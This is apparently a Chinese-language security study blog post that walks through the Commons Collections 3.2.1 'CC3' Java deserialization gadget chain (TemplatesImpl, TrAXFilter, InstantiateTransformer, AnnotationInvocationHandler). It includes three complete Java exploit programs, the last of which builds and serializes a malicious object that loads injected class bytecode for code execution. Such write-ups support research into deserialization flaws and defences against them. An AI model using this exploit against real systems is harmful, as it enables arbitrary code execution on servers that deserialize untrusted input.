参考链接
https://www.bilibili.com/video/BV1Zf4y1F74K
环境搭建
和jdk貌似关系不大,用之前的8u65或者8u71都可以
cc用的3.2.1
利用链分析
寻找链子的过程:
ClassLoader#defineClass->
TemplatesImpl#defineClass->
TemplatesImpl#defineTransletClasses->
TemplatesImpl#getTransletInstance->
TemplatesImpl#newTransformer->
TrAXFilter#TrAXFilter-> (TemplatesImpl#getOutputProperties)
InstantiateTransformer#transform->
转化为CC1调用xxx.transform
CC3和之前的链子存在一些差异,总结来说如下:
- 不用InvokerTransformer命令执行,改用defineClass(),利用动态类加载来代码执行
- 使用InstantiateTransformer#transform()来创建想要的实例对象,进而触发动态加载代码块
Exp编写
从defineClass()开始找的过程省略了,就是一直find usage,最后能走进TemplatesImpl。
关于defineClass()为什么能代码执行,去看基础知识的动态类加载。
TemplatesImpl#defineTransletClasses()
这个函数调用了defineClass(),并且由于TemplatesImpl是可序列化的,通过反射去改变像_bytecodes、_class[]这种的参数,可以控制程序的执行流。
defineTransletClasses()还是private的,find usage看哪个函数调用了它。
可以看到三个get开头、第4个字符大写的函数,实际上这里可以联想到fastjson的调用任意getter方法。
这里不深究,后面fastjson反序列化还会调试到这里,这里以getTransletInstance为例,继续往下看。
TemplatesImpl#getTransletInstance()
这里显然用反射控制一下_name,绕过一个if就可以把链子串起来了。
getTransletInstance还是private的,再find usage往上找,只有一个结果
这里终于找到public的方法了,接下来可以去其他类找,谁调用了newTransformer()
继续find usage,最终可以找到TrAXFilter#TrAXFilter()
这里实际上还有其他利用方法,CB1用的getOutputProperties
TrAXFilter#TrAXFilter()
这个是个public的构造函数,直接正常创建TrAXFilter对象,就会触发调用链条
到这里我们测试一下是否可以执行代码,Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class TestCC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Jasper"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
new TrAXFilter(templates); } }
|
现在问题是,哪个类能够实现,new出一个指定对象的功能。
这里ysosierial的作者在CC3的payload里给出了答案,用InstantiateTransformer#transform。
这个类可序列化,transform里有段用反射获取构造函数,然后生成对象的代码,完美符合我们的要求。
传参的细枝末节不细写了,尝试编写Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class TestCC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Jasper"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
} }
|
现在把问题转化为熟悉的调用xxx.transform,直接用CC1/CC6的链子即可,传参不再细说
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public class TestCC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Jasper"); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","Jasper"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class,transformedMap); serialize(o);
} public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
总结
CC3实现代码执行,与命令执行有本质区别。